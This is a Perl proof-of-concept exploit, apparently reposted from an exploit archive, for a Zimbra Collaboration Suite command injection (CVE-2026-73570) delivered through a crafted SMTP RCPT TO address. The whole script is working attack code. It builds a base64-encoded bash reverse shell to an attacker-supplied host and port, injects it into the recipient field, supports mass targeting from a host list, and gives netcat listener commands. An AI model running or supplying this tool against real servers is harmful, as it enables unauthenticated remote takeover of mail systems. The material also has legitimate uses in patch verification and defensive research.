## https://sploitus.com/exploit?id=PACKETSTORM:229888
#!/usr/bin/perl
##############################################################################
# CVE-2026-73570 — Zimbra Collaboration Suite (ZCS)
# SNMP Notification OS Command Injection — Unauthenticated RCE via SMTP
# zimbra-poc.pl exploit by Gabriel P. Lipski
#
# Affected : ZCS < 10.1.20 (zimbra-snmp pkg installed + snmp_notify enabled)
# CVSS 3.1 : 8.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
# CWE : CWE-78 (Improper Neutralisation of OS Command Special Elements)
# Fixed : Zimbra 10.1.20 (released July 2026)
# CISA KEV : Added 2026-08-21 (remediation deadline 2026-08-24 for FCEB)
#
# Root Cause
# ──────────
# The optional zimbra-snmp package ships a swatchdog configuration that
# watches /var/log/zimbra.log for log lines matching the pattern:
#
# Service status change: <NAME> changed from (stopped|running) to (running|stopped)
#
# When a matching line is seen, swatchdog passes the captured <NAME> field
# directly to the SNMP notification shell script without sanitisation.
# An unauthenticated attacker can inject a fake log line via a crafted
# SMTP RCPT TO command using a quoted local-part (valid per RFC 5321),
# embedding shell metacharacters — e.g. $(...) — inside <NAME>.
#
# Attack Flow
# ───────────
# 1. Attacker opens TCP to port 25 / 465 / 587 of the Zimbra server.
# 2. Sends EHLO, MAIL FROM, then a specially crafted RCPT TO:
# RCPT TO:<"x: Service status change: localhost $(CMD) changed from
# stopped to running"@cve.invalid>
# 3. Zimbra logs the (rejected or accepted) RCPT TO data.
# 4. swatchdog matches the log line pattern.
# 5. SNMP notification handler executes CMD as the 'zimbra' OS user.
#
# References
# ──────────
# https://nvd.nist.gov/vuln/detail/CVE-2026-73570
# https://github.com/BiuTrap/CVE-2026-73570
# https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
# https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite
# https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-73570
#
# Usage:
# perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444
# perl zimbra-poc.pl -f targets.txt -r 10.10.10.1 -R 4444
#
# targets.txt format:
# mail.example.com <- default port (--port)
# mail.example.com:25 <- explicit port
# 10.0.0.50:587
#
# Listener: nc -lvnp 4444
#
##############################################################################
use strict;
use warnings;
use IO::Socket::INET;
use IO::Socket::SSL qw(SSL_VERIFY_NONE);
use MIME::Base64 qw(encode_base64 decode_base64);
use Digest::HMAC_MD5 qw(hmac_md5_hex);
use POSIX qw(strftime);
use Fcntl qw(:flock);
use Getopt::Long qw(:config no_ignore_case bundling);
our $VERSION = '1.0.0';
# ── ANSI colors (disabled when stdout is not a TTY) ──────────────────────────
my %C;
{
my $tty = -t STDOUT;
%C = (
rst => $tty ? "\033[0m" : '',
bold => $tty ? "\033[1m" : '',
red => $tty ? "\033[91m" : '',
grn => $tty ? "\033[92m" : '',
ylw => $tty ? "\033[93m" : '',
blu => $tty ? "\033[94m" : '',
mag => $tty ? "\033[95m" : '',
cyn => $tty ? "\033[96m" : '',
wht => $tty ? "\033[37m" : '',
);
}
# ── globals ───────────────────────────────────────────────────────────────────
my ($sock, $log_fh, $tls_active);
# ── options ───────────────────────────────────────────────────────────────────
my %O = (
host => '',
port => 587,
file => '',
rhost => '',
rport => 4444,
timeout => 15,
ssl => 0,
verbose => 0,
logfile => '',
);
GetOptions(
'host|H=s' => \$O{host},
'port|p=i' => \$O{port},
'file|f=s' => \$O{file},
'rhost|r=s' => \$O{rhost},
'rport|R=i' => \$O{rport},
'timeout|t=i' => \$O{timeout},
'ssl|S' => \$O{ssl},
'verbose|v' => \$O{verbose},
'logfile|L=s' => \$O{logfile},
'help|h' => \&usage,
) or usage();
usage() unless ($O{host} || $O{file}) && $O{rhost};
# ── build target list ─────────────────────────────────────────────────────────
my @targets;
if ($O{host}) {
push @targets, { host => $O{host}, port => $O{port} };
}
if ($O{file}) {
open(my $fh, '<', $O{file}) or die "[-] Cannot open '$O{file}': $!\n";
while (my $line = <$fh>) {
chomp $line;
$line =~ s/^\s+|\s+$//g;
next if $line eq '' || $line =~ /^#/;
my ($h, $p) = split(/:/, $line, 2);
$p = $O{port} unless defined $p && $p =~ /^\d+$/;
push @targets, { host => $h, port => int($p) };
}
close $fh;
die "[-] No valid targets in '$O{file}'\n" unless @targets;
}
# ── payload (built once, reused for every target) ─────────────────────────────
my $shell_cmd = "bash -c 'bash -i >&/dev/tcp/$O{rhost}/$O{rport} 0>&1'";
my $b64 = encode_base64($shell_cmd, '');
$b64 =~ s/\s+//g;
my $cmd = "echo ${b64}|base64 -d|bash";
my $inject = "\$(${cmd})";
my $rcpt = qq{"x: Service status change: localhost ${inject} changed from stopped to running"\@cve.invalid};
# ── banner ────────────────────────────────────────────────────────────────────
open_log() if $O{logfile};
print_banner();
say_info(sprintf "Targets : %d host(s)", scalar @targets);
say_info("Shell : $O{rhost}:$O{rport}");
say_info("Listener: nc -lvnp $O{rport}");
print "\n";
# ── target loop ───────────────────────────────────────────────────────────────
my ($ok, $fail) = (0, 0);
for my $i (0 .. $#targets) {
my $t = $targets[$i];
say_info("─" x 50);
say_info(sprintf "[%d/%d] %s:%d", $i+1, scalar @targets, $t->{host}, $t->{port});
my $result = run_exploit($t->{host}, $t->{port});
if ($result eq 'ok') {
say_ok("PAYLOAD SENT — waiting for shell on nc -lvnp $O{rport}");
$ok++;
} else {
say_err("FAILED: $result");
$fail++;
}
sleep 1 unless $i == $#targets;
}
# ── summary ───────────────────────────────────────────────────────────────────
print "\n";
say_info("═" x 50);
say_info(sprintf "Summary: %d/%d hit %d failed", $ok, scalar @targets, $fail);
say_info("═" x 50);
close_log() if $log_fh;
exit 0;
# ═════════════════════════════════════════════════════════════════════════════
# run_exploit — attempts the injection against a single target
# ═════════════════════════════════════════════════════════════════════════════
sub run_exploit {
my ($host, $port) = @_;
my $use_ssl = $O{ssl} || ($port == 465);
# ── connect ───────────────────────────────────────────────────────────────
eval {
if ($use_ssl) {
$sock = IO::Socket::SSL->new(
PeerHost => $host,
PeerPort => $port,
SSL_verify_mode => SSL_VERIFY_NONE,
Timeout => $O{timeout},
Proto => 'tcp',
) or die "SSL: " . IO::Socket::SSL::errstr();
$tls_active = 1;
} else {
$sock = IO::Socket::INET->new(
PeerHost => $host,
PeerPort => $port,
Timeout => $O{timeout},
Proto => 'tcp',
) or die "TCP: $!";
$tls_active = 0;
}
};
if ($@) { (my $e = $@) =~ s/\s+$//; return $e }
$sock->autoflush(1);
say_dbg("Connected");
# ── banner ────────────────────────────────────────────────────────────────
my $banner = smtp_read_line();
unless ($banner =~ /^220/) {
close_sock();
return "unexpected banner: $banner";
}
say_dbg("Banner: $banner");
# ── EHLO ─────────────────────────────────────────────────────────────────
smtp_send("EHLO mx-test.invalid");
my $ehlo = smtp_read_multi();
unless ($ehlo =~ /^250/m) {
close_sock();
return "EHLO failed";
}
# ── STARTTLS ─────────────────────────────────────────────────────────────
if (!$tls_active && $ehlo =~ /STARTTLS/i) {
smtp_send("STARTTLS");
my $r = smtp_read_line();
if ($r =~ /^220/) {
IO::Socket::SSL->start_SSL($sock, SSL_verify_mode => SSL_VERIFY_NONE)
or do { close_sock(); return "STARTTLS failed" };
$tls_active = 1;
say_dbg("STARTTLS negotiated");
smtp_send("EHLO mx-test.invalid");
smtp_read_multi();
}
}
# ── injection ─────────────────────────────────────────────────────────────
smtp_send("MAIL FROM:<scanner\@mx-test.invalid>");
my $r1 = smtp_read_line();
say_dbg("MAIL FROM: $r1");
unless ($r1 =~ /^250/) {
smtp_send("QUIT"); smtp_read_line(); close_sock();
return "MAIL FROM rejected: $r1";
}
say_dbg("RCPT TO: <$rcpt>");
smtp_send("RCPT TO:<$rcpt>");
my $r2 = smtp_read_line();
say_dbg("RCPT TO resp: $r2");
smtp_send("QUIT");
smtp_read_line();
close_sock();
return 'ok' if $r2 =~ /^[245]\d{2}/;
return "no valid response: $r2";
}
# ── SMTP layer ────────────────────────────────────────────────────────────────
sub smtp_send {
my ($line) = @_;
say_dbg(">>> $line");
log_write(">>> $line");
print $sock "$line\r\n";
}
sub smtp_read_line {
my $line = '';
eval {
local $SIG{ALRM} = sub { die "timeout\n" };
alarm($O{timeout});
$line = <$sock> // '';
alarm(0);
};
$line =~ s/[\r\n]+$//;
say_dbg("<<< $line") if $line;
log_write("<<< $line") if $line;
return $line;
}
sub smtp_read_multi {
my $buf = '';
eval {
local $SIG{ALRM} = sub { die "timeout\n" };
alarm($O{timeout});
while (my $line = <$sock>) {
$buf .= $line;
last if $line =~ /^\d{3} /;
}
alarm(0);
};
$buf =~ s/[\r\n]+$//;
return $buf;
}
sub close_sock {
return unless $sock;
eval { $sock->close() };
$sock = undef;
$tls_active = 0;
}
# ── output ────────────────────────────────────────────────────────────────────
sub print_banner {
my ($b, $n, $c, $g, $y) = @C{qw(bold rst cyn grn ylw)};
print "${b}${c} ╔══════════════════════════════════════════════════════════╗${n}\n";
print "${b}${c} ║ CVE-2026-73570 — Zimbra ZCS Unauthenticated RCE ║${n}\n";
print "${b}${c} ║ SNMP Notification OS Command Injection — Reverse Shell ║${n}\n";
print "${b}${c} ╠══════════════════════════════════════════════════════════╣${n}\n";
print "${b}${c} ║ ${g}CVSS 3.1: 8.9 HIGH${c} ZCS < 10.1.20 ║${n}\n";
print "${b}${c} ║ ${y}Authorized security testing use only${c} ║${n}\n";
print "${b}${c} ╚══════════════════════════════════════════════════════════╝${n}\n\n";
}
sub _ts { strftime("%H:%M:%S", localtime) }
sub say_ok { _say($C{bold}.$C{grn}."[+]".$C{rst}, @_) }
sub say_info { _say($C{bold}.$C{blu}."[*]".$C{rst}, @_) }
sub say_err { _say($C{bold}.$C{red}."[-]".$C{rst}, @_) }
sub say_dbg { return unless $O{verbose}; _say($C{mag}."[~]".$C{rst}, @_) }
sub _say {
my ($prefix, $msg) = @_;
printf "%s[%s]%s %s %s\n", $C{wht}, _ts(), $C{rst}, $prefix, $msg;
log_write($msg);
}
sub log_write {
my ($msg) = @_;
return unless $log_fh;
flock($log_fh, LOCK_EX);
printf $log_fh "[%s] %s\n", strftime("%Y-%m-%d %H:%M:%S", localtime), $msg;
flock($log_fh, LOCK_UN);
}
sub open_log {
open($log_fh, '>>', $O{logfile}) or die "[-] Cannot open log '$O{logfile}': $!\n";
$log_fh->autoflush(1);
}
sub close_log {
close($log_fh) if $log_fh;
$log_fh = undef;
}
# ── help ──────────────────────────────────────────────────────────────────────
sub usage {
print <<'END';
Usage:
perl zimbra-poc.pl -H <host> -r <IP> [-R <port>] [options]
perl zimbra-poc.pl -f <list.txt> -r <IP> [-R <port>] [options]
Options:
-H, --host <host> Single target (hostname or IP)
-f, --file <file> File with target list (one per line)
-p, --port <port> Default SMTP port [default: 587]
-r, --rhost <IP> Your IP to receive the reverse shell (required)
-R, --rport <port> Listener port [default: 4444]
-t, --timeout <sec> Socket timeout [default: 15]
-S, --ssl Direct TLS (auto for port 465)
-v, --verbose Show full SMTP dialog
-L, --logfile <file> Save session to log file
-h, --help This help
targets.txt format:
mail.example.com <- default port (--port)
mail.example.com:25 <- explicit port
10.0.0.50:587
# comments are ignored
Examples:
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
perl zimbra-poc.pl -f targets.txt -r 10.10.10.1 -R 4444 -L scan.log
nc -lvnp 4444
END
exit 0;
}